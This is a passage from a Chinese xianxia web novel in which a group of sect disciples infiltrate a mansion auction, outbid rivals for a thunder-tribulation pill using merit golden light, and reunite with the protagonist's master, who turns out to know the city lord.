脚步声与镣铐撞击声越来越近,裴道远牢牢盯着传来声音的小路一端,逐渐放缓了呼吸声,像是怕惊扰到暴露自己一般。 很快,就瞧见几个奴仆拖着一个浑身脏污不堪的人,那人蓬头垢面,乱糟糟的头发遮住了整张脸,看不清样貌,只依稀从破洞的衣服分辨出这是个男人。 沉重的铁链锁住了他的手脚,上头还刻着许多咒文,应该是用了咒术困住了这人。那咒文鲜红如血,像是什么可怕的禁咒一般。 等到那些奴仆接近时,裴道远才清楚的看到,那咒术似乎是在吸取这人的血然后制成的咒文,镣铐上带着不少血渍,手腕和脚腕上的伤口深可见骨。 裴道远正奇怪这人是谁,怎么被城主这样对待,可是犯了什么重罪? 突然,那人像是察觉到有人在看他,突然猛地朝小石头所在的方向抬头,似乎咧开嘴笑了一下,然后朝这个方向伸出了手,小石头便猝不及防地飞起来被吸到了他的掌心里。 变故突发,那几名奴仆和裴道远都没有反应过来。 下一刻,裴道远便听到小石头大喊:“不好!他是魔修,看出我是个灵,在吸我的灵气!” 裴道远一时间有些懵,但明白此时境况十分危急,连忙道:“我要怎么做才能救你?!” 小石头立刻回答道:“快!拿上一块上品灵石!” 虽然不解,但裴道远很快掏出一块上品灵石,焦急道:“然后呢?” 小石头来不及回答了,体内的灵气被这魔修快速吸收着,它立刻打开应夏的小空间,以此为媒介,将裴道远手中的上品灵石和自己做了个交换。 裴道远很快察觉到小石头来到了自己手中,立刻渡去不少灵力,担忧道:“怎么样?他有没有伤到你?” 小石头长舒了一口气,道:“没事了,他只是从我这吸了太多的灵气,其他倒是没有。” 闻言,裴道远擦了擦额间的汗,也松了口气,“那就好……话说回来,那魔修怎么会吸你身上的灵气?他不应该以魔气为食吗?若是吸你的灵气,不得……” 通常情况下,灵气与魔气不相容,若是置于同一容器中还会爆炸。 说着,他便反应过来了,“他这是想要借爆炸脱身?或者炸开他手上的咒术锁链……” 小石头说:“没错,我看到他是借此挣开了身上的锁链,不过后来我立刻脱身了,所以也不知道后面发生了什么。” 裴道远蹙眉分析道:“如果是这样的话,城主府估计得因这个魔修乱上一阵,但只要查那魔修为何突然挣脱束缚,就容易查到你身上……” “不会的。”小石头说得很缓慢,“我用上品灵石做了交换,他们想查也只会去查那块上品灵石是谁遗落的,不会想到我身上来。” “可那魔修为何突然会对你动手?可是看穿了你的伪装?” 小石头趴在裴道远手上,似乎因消耗太多精神有些不济,道:“我的伪装对修仙者很有用,但是对魔修就……很容易看出破绽来,只是没想到,城主府里竟是有……魔修。” “小石头,你怎么了?”裴道远见小石头的声音逐渐低了下去,紧张地渡去灵力,却没有太多成效。 “别担心,我没事,只是刚才太累了,所以现在很困,我睡一会儿,我不会有事的,你放心吧。” 小石头嘟囔着昏睡了过去- “那之后城主府可有传出什么关于魔修的消息?”应夏问道。 裴道远摇了摇头,“就是这一点非常奇怪,魔修逃脱这事并没有泄露出一丝消息,甚至中心城,或者城主府里面有魔修都没有听到过。” 宁妄也觉得奇怪,道:“按理来说,抓到魔修可是大事,即便不放出消息也会立刻就地斩杀。若是那魔修逃脱了,更是会发布告示告知众人,齐心协力抓捕魔修,更何况中心城如今也聚集了不少高境界的修士,抓一个魔修绰绰有余。” 应夏想了想,问道:“你可还回想的起来禁锢他的咒术长什么样?能不能画出来让我看看?” 裴道远沉思了一会儿,点点头,用手指沾了点茶水,便在桌子上画了起来。 应夏看着他手下逐渐形成的咒文图案,眯起了眼睛,直到他全部画完,才道:“这是血咒,而且还是一种禁咒。” “什么?”裴道远震惊,他以为只是一种禁锢的咒术。 应夏继续道:“我也不知道这个咒的名称,只记得是在一本《禁咒大全》上看到过。效果是能汲取被下咒人或物的生命力,是一种用来强行续命的咒术。” “续命?!” 三人大吃一惊。 “此咒汲取生命力极为迅速,一个元婴期修士只要被下咒三日便能被活活吸干。”应夏说。 穆槐序不解:“何人需要续命?而且为什么选择了一个魔修?” “不清楚,”裴道远道,“或许是怕担因果吧。”选择敌对的魔修造成的因果孽业便会少很多。 “难怪没有直接杀了那魔修。”宁妄顿了顿,“不过,这人竟是会这种禁咒,恐怕……” “魔修可不是大白菜,一挖就是一棵,这回运气好遇上了便可续命,那下次没抓到魔修可怎么办?”应夏冷笑道,“这次用魔修续命尝到了甜头,往后就不知道了会如何了。” 屋内又陷入了沉默。 裴道远咳嗽了两声,道:“此事倒是与我们没关系,现在关键的是,我们知道了这暗面拍卖会,要如何进去。本想继续偷听看看能不能找到点办法,没想到后来发生了这事。” 应夏勾唇一笑,说:“想打听消息,自然是拍卖会上更容易了。” “这我也知道,但是……”裴道远突然一顿,明白了应夏的想法,“原来如此。” 穆槐序一头雾水:“你们在说什么?别打哑迷了。” 应夏解释道:“很简单,拍卖会最重要的是拍品,到时候我们找出拍品放在哪里,找到位置后藏匿于其中,等待暗面的拍卖会开启便可。” 宁妄问:“可明面拍卖会的拍品和暗面的拍品没有放在一起怎么办?” 裴道远挑眉答道:“想要获取暗面拍品消息的方法有许多,这件事可以交给我来做。” “但这次拍卖会上高手如云,想要在这些人眼皮子底下藏匿可不容易。” “小石头不已经瞒过了那些前来护卫的修士吗?”应夏垂眸看着仍在睡梦中的小石头,“我大概明白小石头的遮掩法术是如何瞒过的了,有功德金光,我也可以做到。” 说着,应夏抬手捏了一个法诀,金线从他的手中窜出去,分别环绕在四人周身,淡淡的金光将几人完全笼罩起来,身形逐渐变得透明,直至完全看不见。 裴道远伸手触碰应夏,却只触碰到虚无的空气,惊奇道:“我真的感觉不到你身上的灵气了,这隐匿法术真的连那些炼虚期修士都看不破吗?” 还没等应夏说话,桌子上的小石头醒转过来,看见空无一人的屋内,顿时大叫起来:“人呢人呢?刚才还能感觉到四个人都在这里的,怎么一下子就消失了?!” 瞧见小石头上蹿下跳的模样,便能看出应夏这隐匿法术确实不凡。 毕竟小石头可是灵,对灵气灵力尤为敏感,即便是带着一丝丝灵气的植物都逃不过它的眼睛与感知。 “竟然真的可以,应夏你是如何做到的?”穆槐序摸了摸自己的手臂,也摸了个空。 裴道远想起来了:“有点像上次我们在玄天秘境中,应夏施展的咒术。” 那时他们为了从母雾虫的包围中冲出,应夏也用了差不多的咒术,还是从天权长老的草原空间上的咒术得来的经验。 应夏点点头:“这回除了空间隐匿,还加上了灵气遮掩,外人摸不到也感知不到。” 就连正常说话,别人也听不见。 小石头急得要出门寻人,应夏便将咒术撤了。 “啊!你们、你们怎么又突然出现了,吓死灵了!”小石头大呼小叫的十分有活力。 应夏摸了摸它,笑着将刚才的事情解释了一下,还道:“这次辛苦你了。” 小石头似乎没想到会得来一句夸奖,有些不好意思地哼哼道:“记得多给我一些灵石,要上品!” 第70章 第 70 章 拍卖会开始。 夜幕降临, 城主府内灯火通明。 矗立在山上的巨大华丽宫殿打开了宫门,乘着各色各样代步法器的修士们,不论境界高低, 一律需展示邀请函才可进入。 应夏四人顺利进入城主府后,顺着一条被萤石照亮的石子路走入一片寂静的树林。 裴道远用扇子敲打着手心,低声道:“这树林里神识深入不了。” 穆槐序半抱着手臂, 面无表情地点点头,这是确认了裴道远的话。 易容的应夏与宁妄走在二人身后, 对视了一眼,根据刚才裴道远的说话声,他们也确认了的确有人在监视他们,或者说, 从一走进城主府后,这道视线就一直存在了。 不过并无恶意,大概是城主府的那些守卫修士们。 应夏下意识摸了摸左手小指,却摸了个空, 垂眸敛下些许失落, 他手指微微一动, 一个小纸人从他的袖口飞出,朝着那片树林深处飞去。 谁知没有飞多远,便凭空自燃成灰烬。 宁妄偏头问道:“怎么了?” 应夏故意叹息一声,悻悻道:“看来这城主府保密措施做的不错。我其实只想看看城主府其他地方的模样, 毕竟从进来就只有一条路, 肯定是通往拍卖会场的。” 宁妄黑色的眼瞳转了转, 也颇为遗憾道:“你说的也没错,我们平时也没有什么机会进来这城主府,本来这次是一个好机会, 可惜……” “好了,你们想见识见识城主府什么时候不行?等拍卖会结束再问问城主能不能行个方便呗,想必城主也不是什么小气的人。” 走在前头的裴道远听见了他们的说话声,也插了一嘴,“别忘了我们是来干嘛的,拍卖会快开始了,我倒是没事,你们不还有想要求得东西么?若是错过了,到时候可别后悔。” 说着,裴道远不动声色地给了穆槐序一个眼神。 穆槐序立刻接话道:“裴师兄说的没错,今日城主只放出这一条路,也是为我们着想,毕竟这城主府这么大,若是不认路走丢了不要紧,错过拍卖会上那些珍稀拍品,可就得后悔好几年了。” 几人说话间,这条萤石路便走到了尽头——那是一段向下的阶梯,似乎深得很,看不见下面具体是什么。 裴道远打开扇子晃了晃,惊奇道:“这拍卖会竟是开在地下的么?我倒也是第一次见。” 穆槐序神色谨慎起来,没有说话。 宁妄两步上前,率先走下了一层阶梯,道:“顺着走便是了,反正也没有其他路,再说了,这毕竟是中心城的城主府,这么多人看着,总不能坑我们。” “也是,不管是什么,去看看便是。”裴道远拿着扇子跟在他身后。 穆槐序转头看向应夏,道:“你修为比我低,先走吧,我来断后。” 如今应夏压制了修为,伪装成一个刚入金丹期的散修。 应夏没有拒绝,伸手拍了拍穆槐序,在他身上留下几丝功德金光,而后走了下去。 穆槐序感觉到体内的灵力比往常活跃了许多,心下了然,握紧了手中的匕首,观察着四周动静,走在了最后。 阶梯两边的石壁上并没有嵌着照明用的物件,但整个空间确实十分光亮的,这点很奇怪。 裴道远伸手触摸了一下两边的墙壁,眼眸不禁亮了亮,道:“这石壁上是刻了照明的阵法。” 穆槐序不解道:“其实我挺疑惑的,为什么偏要在晚上办拍卖会,在白天不好么?还能省下不少照明用的东西。” “你不懂。”裴道远收回手,笑着摇摇头,“就是要这时候办,才能显现出城主府的底蕴。这阵法可不普通,得至少消耗三块上品灵石或者同等价值的法器吧?唔,不过看这个覆盖程度,应该不止。” 穆槐序抿着唇没说话,反正在他眼里这都是没必要的。 走在最前面的宁妄停了下来,在他面前的是一扇雕刻得极为精美的木门,依稀能看出上头的纹路有花鸟鱼虫,还有一些复杂看不懂的文字结构。 应夏眯起眼睛,说:“这是咒文。” “咒文?”宁妄惊讶道。 应夏走上前,伸手触摸了一下那些被雕刻在门上的图案,短暂注入灵力之后,他们身上的邀请函似乎被什么东西吸引飞了出来,然后嵌入了这扇木门之中。 裴道远睁大了眼睛:“怎么回事?” 应夏解释道:“看来他们对这拍卖会做了层层筛选保障,门口的检查只是第一关。这邀请函上应该也藏有咒文,能与这门对应,这样也可以防止有人复刻仿造邀请函。” “竟还能这样?” 应夏用力推开了门,出现在他们面前的,是一间布置雅致的房间,房间内有一扇巨大的窗户,通过这个窗户能看见中间巨大的石台。不过,除了石台之外,便是一片漆黑了。 四人走进房间后,那扇木门合上便消失了,取而代之的是紧贴在墙上的两张邀请函,环绕在其周围的是阵阵荡起的水波。 应夏道:“到时候想要离开,便再次朝这邀请函注入灵力,便能离开这里,不过也只有这一次机会,若是没拍到东西就打开,应该就是相当于放弃拍卖了。” 宁妄走到了那巨大的窗户前,他发现那窗户上有着一层水波,伸手触碰同样能荡起波纹,连同那石台的景象也变形了。 他说:“看来这不是窗户,只是一面能显出景象的水镜罢了。” 穆槐序看见了房间桌面上的两块令牌,伸手拿了一块后,一股气息涌入,立刻读懂了这两块是拍卖时喊价用的,只需要在上面用灵力写出数字,便是喊价了。 应夏寻了个椅子坐下,道:“坐下吧,这房间没什么问题。”当然,除了那些监视的视线之外。 另外三人也坐下时,桌面上凭空出现了一些精致的茶点。 裴道远先倒了一杯给自己,抿了一口,咂嘴道:“虽然比不上新山云雾,但也是好茶了。” 应夏微不可查地弯了弯唇角,却没有去动那茶点,只一手撑着脸,盯着那水镜中的石台。 没多久,那空旷的石台突然出现了一个凹槽,而后一个用红布盖着的桌子缓缓升起,此时一位穿着靛蓝长袍的中年人走上了石台。 他先是作了一番自我介绍,告诉水镜后的人他是来自丹顶阁的主事,今天这场拍卖会由他来主持拍卖。 简单介绍拍卖流程后,很快便上了第一件拍品。 裴道远有些惊讶道:“这第一件便是千年雪莲?而且还是少见的并蒂雪莲!” 一旁的穆槐序在听到起拍价格后蹙眉,“一千上品灵石?这么贵?”他的全部身家都买不起这两朵雪莲。 主事滔滔不绝地介绍着这件拍品,很快便看见有几个数字显现在虚空之中,“甲三一号房的客人出价一千五!” 宁妄“咦”了一声,“原来数字会直接显示在石台上,我还说那位主事要如何知道叫价呢。” 应夏兴致恹恹,他慢慢闭上了眼睛,放开感知去感受这座城主府内全部的心声欲望。 或许是因为才第一件拍品的缘故,并没有太多有用的消息,应夏睁开眼睛,耐心地等待着。 这一等便等到了第十一件拍品上来。 “这件拍品想必大家都不陌生。”主事打开精致的木盒子,露出里面的一枚深紫色丹药。 裴道远惊呼:“是净雷丹!” 应夏抬眸望向石台中的那枚丹药,与此同时,翻山倒海的欲望也随之冲击而来。他都来不及仔细去查看净雷丹,便不自觉地皱眉敛眸,握紧了拳头,才能抵住那股令人十分不适的感觉。 强大的东西,总是伴随着无数觊觎窥视。 等应夏反应过来的时候,场面上的价格已经加到了几十万上品灵石。 他看到石台上密密麻麻的全是灵力聚集的数字,就连那位主事都有些分辨不出哪个数字是最新的。 主事连忙抬手道:“各位报价不必着急,须得我看清并喊出编号与具体数字才算竞价成功,不然一律无效!” 有了这句话,石台上的数字才逐渐不那么拥挤了。 但是那也仅只代表着显示频率降低,但那数字只会越来越大,直到越过百万线,才逐渐降下来。 “丁四二号客人,三百一十五万!” 裴道远听着这个数字都有些头晕目眩,“三百多万上品灵石,这是得一整条灵脉的产出了吧?而且还不能算上有杂质的那些。” 宁妄和穆槐序倒是没什么感觉,大概是数字太大,大得已经超过了他们的想象范围,所以做不出反应。 而应夏一直用手撑着额头,反复确认无数欲望心声中,令他有些熟悉又费解的一条。 “徒弟害怕雷劫,有了这枚净雷丹,或许便能……” 这个心声很轻很小,夹杂在那些恶心又大声的欲望之中,若是不注意便容易遗漏,但应夏还是注意到了。 ……难道是温却沧? 不可能吧,他师父怎么会突然下山?而且他都没有与温却沧提起拍卖会的事,就算他下山了,也应该去御兽门才对,更何况他哪里来的邀请函? 应夏皱着眉,想要再仔细听,那心声便如狡猾的鱼儿跃入欲海中不见了,差点以为是他的幻觉。 他想,应该只是巧合吧,说不定这世上恰巧也有修仙者和他一样也害怕雷劫,所以…… “应夏,你没事吧?”宁妄有些担忧地看着他。 “没事。”说着,应夏伸手探向了桌上的令牌。 “五百五十万,还有人要加价吗?五百五十万一次,五百五十万两次……”主事面容通红,说得十分激动,石台上已经没有再出现数字了,但这五百五十万已经是天文数字了! 就在此时,空旷的石台上又出现了一个数字。 “六百万!天哪,丙零六号出价六百万!那可是能抵得上两条灵脉的上品灵石数量!” 70-80 第71章 第 71 章 温却沧:“灵石够吗?”…… “丙零六号?那不就是我们这间吗?”裴道远回头看了眼贴着邀请函的墙壁, 在最上面正挂着“丙零六”三个大字。 屋内几人一齐看向应夏,瞧见他确实将手放在了令牌上,穆槐序皱眉问道:“应夏, 你有这么多灵石?” 应夏笑了笑,理直气壮道:“没有。” “没有你还报价!”裴道远惊呼,都顾不得去关注水镜中的境况, 连忙道,“这可不是一般的拍卖会, 可是御兽门和丹顶阁联合举办的,而且还有中心城城主掺和!若是你到时候支付不出这么多灵石,那可是要……” 应夏面不改色,唇角依旧含着笑意, 他随手指了指水镜,道:“你们继续看吧,一定会有人出价比我高的。” 他喊价并不是乱喊,只是想要尽快抬价筛选出那些真正想要这块净雷丹的人, 通过那些纷杂的心声与欲望, 应夏大概知道了一些人的心理价位, 只要仍低于这些,他喊价就一定会有人再加价。 果不其然,水镜中六百万的数字消失后,有一个新数字出现了。 “六百零一万!甲四三号房的客人出价六百零一万!还有没有其他客人出价?”主事继续激动地大喊着, 见他脸颊通红, 亢奋至极。 “好, 这位乙八八号客人出价六百二十万!”话还没说完,就又有一串数字出现,主事连忙道, “六百二十一万,甲四三客人出价六百二十一万!” 随后甲四三和乙八八这两个房号的客人互相角逐,乙八八每次抬价二十万,而甲四三只抬价一万。 裴道远说:“嚯,都抬价到七百二十一万了,这总不能没完没了的吧?这个甲四三我都说不准他到底是想不想要了,想要的话每次都只提价一万,总让人觉得不舒服,乙八八总不会因为少这一万就失去了净雷丹,所以他每次都喊多二十万,可甲四三每次都只多一万……” 应夏饶有兴致地看着水镜中,被接连出现的数字搞得有些头晕眼花的主事,道:“那我就帮帮他们,早点决出胜负。” 他伸手又朝令牌注入了一些灵力,此时出现在水镜中的是一个更令人沉默的数字。 七百四十万零一,只比乙八八刚才的报价多一块上品灵石。 主事看见这个数字也顿了一下,然后缓了口气,才道:“丙零六的客人喊价七百四十万、零一块上品灵石,还有客人想要加价的吗?” 自己说完这句话,都觉得有些好笑,怎么有人报价才只多一块,这么不痛不痒的,甲四三和乙八八的客人一定会跟的吧。 这次拍卖会没有限制提价,即便是多一块灵石也可以喊价,但前几次拍卖都没有人这么做,毕竟虽说其他参与拍卖的修士不认识,但举办方肯定能知道这么做的人是谁,若是结下梁子或留了不好的印象可不太妙。 这加价一块灵石的人,估计等拍卖会结束,一定会上拍卖会的黑名单吧?主事有些不屑地想道。 可是主事等了一会儿,竟是没再看见新的数字出现,不禁睁大了眼睛,怎么可能?!这不就只多一块吗?乙八八的客人之前报了七百四十万,不可能连多一枚上品灵石都没有啊! 主事擦了擦额头上的汗,声音因连续喊叫有些嘶哑,连忙从袖中掏出水壶喝了一口,解渴与压惊。 “七百四十万零一,还、还有客人喊价吗?” 看见水镜中如此境况,裴道远转头看向应夏,道:“怎么回事?你只加了一块上品灵石,不至于没有人继续喊价啊?” 应夏却说:“你再仔细看看那个数字。” 水镜中那个巨大又十分小的数字依旧悬浮在半空中,用灵力聚集的光辉与之前的几个数字全然不同,那是用金色灵力聚集而成的数字,比之前淡金色的更浓郁更纯粹。 裴道远震惊到有些结巴:“这、这……” 没错,那数字是用功德金光铸成的,这就是其他人有些不敢继续喊价的原因,但这同时也直接暴露了应夏的身份。 不过,自爆身份这一环实际上是他们计划好的,为了让所有视线集中到应夏身上,便宜其他人行事。 应夏笑了笑不语,然而这个计划也有了另一重作用,他确定了温却沧在这个拍卖会场里。 他对裴道远传音道:“师父来了。” 刚刚那个用功德金光铸成的数字一出现,他便听到了温却沧的声音。 “应夏等我。” 温却沧是知道他有能读到欲望与心声的能力,所以在未见时便以此当做传音,这是让他在拍卖会结束后等他来找。 停顿了一会儿,温却沧的心声又出现了,“灵石够吗?” 应夏不自觉捂住了脸,有什么纷杂的情绪一并涌了上来,他尝不出那是什么滋味,但那应该是令人愉悦的,不然他也不会没忍住笑得眯起了眼。 穆槐序见应夏动作更为不解,也与裴道远传音道:“应夏怎么了?你们在说什么悄悄话?” “应夏说,小师叔来了。” “小师叔?”穆槐序倒是不太惊讶,小师叔会下山肯定是来找应夏的,他一下就想通了应夏怎么突然用功德金光写数字了,原来是为了让小师叔也知道他在这里。 “等等,应夏怎么知道小师叔在拍卖会上?” 裴道远摇着扇子,神情放松道,“这我就不知道了,可能是他们师徒俩心有灵犀吧。” 若是小师叔在,那他们的计划安全性应该更高了。 穆槐序一脸不置可否,但紧握着匕首的手稍稍放下。 此时,水镜中又出现了一个数字。 “甲四三号客人出价七百四十万零二,七百四十万零二,还有人加价吗?”主事抹了抹额头上的汗。 裴道远奇怪道:“这是什么意思?”同时传音问道,“这个甲四三就是小师叔吗?” 应夏并没有传音,直接说道:“不是,乙八八应该不会出了。”言外之意便是,乙八八才是温却沧。 “这个甲四三怎么只加一块?”穆槐序也疑惑。 “他应该是试探,若是我们再加一块,他估计也不会再出价了。” “原来如此,看来这人是真的想要这枚净雷丹。” 一旁的宁妄沉默了许久,问道:“抱歉我好像一直没有看明白。”他不懂为什么只加了一块,别人就不敢加价了,甚至加价还要试探。 裴道远看了眼应夏,见他点了点头,便解释道:“应夏刚刚用了功德金光写数字,那些拍卖的客人都认出了这枚净雷丹是一个拥有功德金光的修士竞价,那他们便会犹豫了,毕竟与拥有功德金光的修士争,倒不如结个善缘。” “功德金光?!”宁妄颇为惊讶地看向应夏。 裴道远也惊讶:“你难道还不知道应夏是十世大善人转世?” 应夏:“……”这句话可以不说。 闻言,宁妄皱着眉打量着应夏,道:“他、他不是个散修吗?” 宁妄的设定还是裴道远的散修好友,一起带来参加联合拍卖会的,他并不知道应夏的真实身份。 裴道远明白他的话外之音了,这是要借机解释应夏伪装的意思,他接道:“噢,忘记和你说了,应夏也是我们玄衍宗的弟子,不过他身份较为特殊,所以下山后便做了一些伪装,抱歉抱歉。” 宁妄叹道:“竟是功德金光啊……”看向应夏的眼神不免热切了许多。 裴道远暗道,宁妄的演技真不错。 水镜中的主事已经开始倒计时了,“七百四十万零二第一次!” 裴道远问:“怎么说,你还打算加么?” 应夏摇摇头,说:“算了,这甲四三是真的想要,便给他了。” 这个甲四三之前一直没有听见心声,直到自己出价后等他加价,才听到。 他在祈求,祈求丙零六不再加价,他十分需要这枚净雷丹,而且不缺灵石所以不怕加价,但若是拥有功德金光的人竞争,他就有些不敢了,因为他不能与天道喜爱的人结下恩怨,这十分不利于渡劫。 更何况,他还是一个妖修。 应夏敛眸,竟然也有妖修参加了这场拍卖会。他记得,这邀请函并没有派发给妖修,那这甲四三应该也是伪装后混进来的。 如果是这样的话,那这个妖修真的能顺利带走净雷丹么? “七百四十万零二第三次!成交!恭喜这位甲四三房的客人,成功带走了我们丹顶阁阁主的珍藏!” 裴道远听到这句话,明显地舒了口气。 穆槐序道:“怎么像是你拍到了似的?” 裴道远也不反驳,笑着说:“还是第一次见到数额如此庞大的交易,就算不是亲身参与的,也足够提心吊胆了。” 宁妄颇为赞同地点点头。 水镜中的主事开始宣布本次拍卖会就此结束,成功拍下拍卖品的客人得先留在房间里,会有专人护送拍品进入房间交易。 “这次中心城的保密措施做的不错,倒是不会出现有人抢夺的场面了,毕竟都不知道有谁买了拍品。” 裴道远咂舌道,“御兽门和丹顶阁这场可赚了至少上千万的灵石。” 穆槐序看向应夏,问道:“要走了么?”其实是问是否开展计划。 应夏正要说话,水镜中突然转换了一个画面,出现了一个人。 “是中心城的城主!”裴道远一眼便看出水镜中的人是城主。 “丙零六的客人请留步。”城主的视线透过水镜直指应夏,“你的师父想见你。” 应夏:“?!” 裴道远震惊:“小师叔认识中心城城主?” 第72章 第 72 章 中心城城主谭阳羽。 中心城的城主府极其奢华, 连一间书房都巨大无比,好似一座小型宫殿。 一进书房,便看见对坐在一局棋两边的二位。 左边是温却沧, 右边就是中心城的城主了。 城主长得十分英俊,剑眉星目,笑起来十分潇洒, 气场强大但不斥人,若是手上也拿着把扇子, 倒是比裴道远这个“风流佳公子”更像,若是手上拿着剑,估计就是一风流倜傥、洒脱不羁的剑修。 但如今,应该执棋的两个人, 要么捧着一盏茶刚放下,要么便是一只手随意搭在剑柄上,竟是没有人去在意那盘棋。 应夏挑了下眉,正想仔细看看棋盘, 却听见裴道远激动地说:“小师叔, 你怎么来了!” 视线不自觉左移落到了温却沧身上, 正巧对上了一双熟悉的桃花眼,深黑的瞳仁像是想将人卷入无底深渊似的,他长长的睫毛一敛一掀,便又恢复到满含着笑意的多情模样, 差点以为刚才那只是错觉。 应夏怔住了, 他一时间竟是没有听见温却沧说了什么话。 直到身边的裴道远用手肘戳了戳他, 才回过神来。 “应夏,你怎么了?”裴道远疑惑地问,转念一想又觉得可能是有被惊喜到, 便稍抬起扇子遮住自己的嘴角,小声道,“你是见到你师父太高兴了?” 回过神来的应夏立刻几步走到温却沧面前,他已经从座位上站了起来,那双眼眸一直看着应夏,二人的身高有些差距,所以温却沧垂头看着他,道:“怎么了?不想见到师父?” 应夏没有说话,只是伸手触碰了一下他的眼睛,指尖被如蝶翼的长睫扫过,像是被什么东西烫到一般又后退几步,然后放下手微微握拳。 温却沧自然看出他有些不对劲,刚刚还以为是因为见到他,现在看来似乎并不是。 他伸手摸了摸应夏的脑袋,动作轻柔,语气温和道:“应夏,怎么了?” 应夏仍旧是没有回答,而是快速握住了他的手,而且握得十分用力,手上冒出了几根金线刺进温却沧的肌肤,似乎是想探查着什么。 裴道远见状惊讶万分,一旁从未出声的穆槐序也忍不住低声道:“怎么回事?难道这个小师叔是假的不成?” “我看不像,而且城主修为比我们高,怎么说也不可能认一个假的小师叔吧?”裴道远瞥了眼依旧端坐的城主,改用传音与穆槐序说话。 房间里的气氛随之变得奇怪起来。 距离师徒二人最近的城主并没有说话,也没有看他们,只是捧着一杯茶时不时抿一口,目光只落在那局未尽的棋盘上,并没有打扰二人。 这种情况没有维持很久,应夏很快便收回了金线,放开温却沧的手,本想问出口的话到嘴边转了一圈又咽了回去:“师父,我还以为你是假的呢。你……你什么时候下山的?怎么会认识中心城的城主?” 此处不是讨论这个的时候,应夏便顺着穆槐序的猜测解释刚才自己的异常。 “怎么会觉得我是假的?”温却沧自然顺着应夏的台阶下。 应夏哼哼两声,似乎有些不情愿回答。 温却沧看着应夏眼睛一眨不眨地盯着他,不自觉收拢手指,握住残留在手心的那丝温度,也没有追问,笑着回答道:“我不放心你便下山来找你了,至于城主……” 说着他看向一直品茶的城主,城主放下茶也站了起来,笑如春风道:“我与你师父算是不打不相识,当初因为误会了他,便与他动手,之后……” 应夏好奇地追问道:“是谁赢了?” 城主笑着看向温却沧,温却沧叹了口气,说:“当然是他赢了。” 瞧见应夏皱起的眉头,语气十分无奈道:“因为他们人多,打着打着他就让人把我围住了。” 城主哈哈一笑,拍了拍温却沧的肩膀,道:“我们又不是比试决斗,我抓贼人自然要布置的万无一失了。” 说着看向应夏,眨了一下眼,“你还不知道你师父其实蹲过这中心城的大牢吧?” 应夏睁大了眼睛,连忙问道:“真的吗?师父是犯了什么事?” 裴道远和穆槐序也是第一次听小师叔以前的事情,都竖起耳朵仔细听着,不漏下一丝细节。 “谭阳羽。”温却沧叫出了城主的名字,“说起来,这事也是你误会了,我可不背锅。” 被直呼名字的谭阳羽耸了耸肩,并没有城主的架子,叹了口气道:“那旧事就不要重提了。” 很快转了个话题,“时间不早了,你们便在这里住下吧,正好我要和你叙叙旧,便多住几天。中心城这些年也变了不少,明日我带你们到处看看、玩玩。” 温却沧看向应夏,问道:“你觉得如何?” 谭阳羽见好友竟是向自己徒弟询问意见,不免有些惊讶了,不过他并没有表现出来,只是将目光轻轻落在这个容色过盛的少年身上。 这少年便是那个传说中功德满身的十世大善人?虽然刚刚亲眼看见了那金色的丝线,明显便是功德金光,但是…… 他身上有魔气。 谭阳羽在应夏靠近温却沧时便感知到了,不过随即他又展示出功德金光,让他松了劲差点就要对这人动手。 能自如操控金色灵气,身上却又有魔气的味道。这少年不简单。 “好呀,正想看看这城主府是什么样的。”应夏自然是答应,他看向谭阳羽,见他的反应,像是十分放心他的模样,似乎等会儿并没有一场暗地里的拍卖会举办的样子。 难道暗面的拍卖会不在城主府举行?! 应夏猛地一惊,他竟是忘了还有这种可能!从听裴道远说在城主府偷听到这事后,便默认这暗面的拍卖会也是在城主府举办的,但实际上这是御兽门和丹顶阁联合办的,中心城不过是出个场地。 他们对暗面的拍卖会了解的太少了。 即便是下面的人偷偷讨论,或许只是御兽门和丹顶阁布置的眼线。 难道说,中心城城主真的全然不知情? 应夏不敢妄下判断,他听不见谭阳羽的心声。 但那个魔修又是怎么回事呢?原本他还想可能是御兽门和丹顶阁送给城主的礼物来着,借此让城主答应城主府作为拍卖会的场地。 现在看来,谭阳羽身体康健,境界稳定,不像是需要魔修来续命的样子。 见过中心城城主后,应夏觉得这个拍卖会的谜团越来越多了- 城主给他们安排了一间偏殿居住,十几间屋子,都可以挑喜欢的住。 他们先聚集在了一间屋子,由温却沧布下禁制,才开口说话。 “小师叔!”裴道远依旧兴奋地喊了声。 温却沧笑着应下,然后问道:“我记得你们是与宁妄一起,宁妄人呢?” 他们来见城主的时候,只有应夏、裴道远和穆槐序三人,明显少了个宁妄,但在谭阳羽面前,温却沧没有提。 “哎呀,差点把他忘了!”裴道远用扇子一拍手掌,看向应夏。 应夏将小石头放在了桌子上,“宁妄,你怎么样?” 小石头明显小了一圈,发出的声音也不相同,明显是宁妄的声音,“应夏?我按照追踪符,现在在一个箱子里,也不知道具体在哪里。” 当时拍卖会结束后,城主让他们留下时,应夏特意让宁妄离开继续他们的计划。 所谓追踪符,实际上是在拍卖会进行的时候,应夏通过那块写字的令牌留下了追踪信号,他不仅在令牌上留下了,也在那位主事身上,还有拍品上留下了。 叫价令牌是唯一联通拍卖场的媒介,应夏用功德金光暴露身份的同时,也是为了留下标记。 宁妄的设定是散修,自然不用和他们一起去找城主,随便托个接口离开,走出城主府后找个隐蔽的地方撕开应夏给的隐匿符咒,然后再通过未关上的大门走回城主府。 手上的追踪符给了三个方向,一是主事所在的丹顶阁弟子居多的地方,二是令牌所在的地下空间,三便是拍品所在的仓库。 宁妄想也没想选择了拍品所在的仓库,因为只有那里,才有可能会接触到暗面的拍卖会,只希望那些拍品里有暗面拍卖会的东西。即便是没有,或许也能探听出一二消息。 “我找到了他们放各种拍品的地方,不过有太多的禁制,多亏了小石头我才能进来。但是很快又有人来了,应该是拍卖会结束,他们来拿东西然后交易。” 宁妄是带着小石头一起离开的,应夏放在桌上的这块只是用来联络的分身。 “我来不及调查更多,就躲进了一个大一点的空箱子……躲进来之后我才发现,这个空箱子被人为破坏过,里面的东西应该是被人拿走了。” 应夏皱起眉,这可不是个好预兆。 “你现在还在那个仓库里吗?”裴道远问道。 “不在了,他们搬走了一些东西后,把所有剩下的东西都全部转移了,我能感觉到是传送阵法,现在在另一个仓库里,但我不知道具体在哪里。” 宁妄缓了缓,继续说,“你们不必担心,他们还没有发现我,应夏的隐匿符很厉害。” “他们即便发现不了你,也迟早会发现这个箱子被破坏过,那时候你也会有危险。”应夏说道,“我们会尽快找到你。” “好。” 结束通讯后,应夏看向温却沧,以为他会询问些什么,却听他说:“在哪儿?” 这是不打算问缘由,还打算直接帮忙的意思了。 事情紧急,倒也容不得应夏去考虑别的,只好将之前的问题压在心底。 当务之急是找到宁妄。 第73章 第 73 章 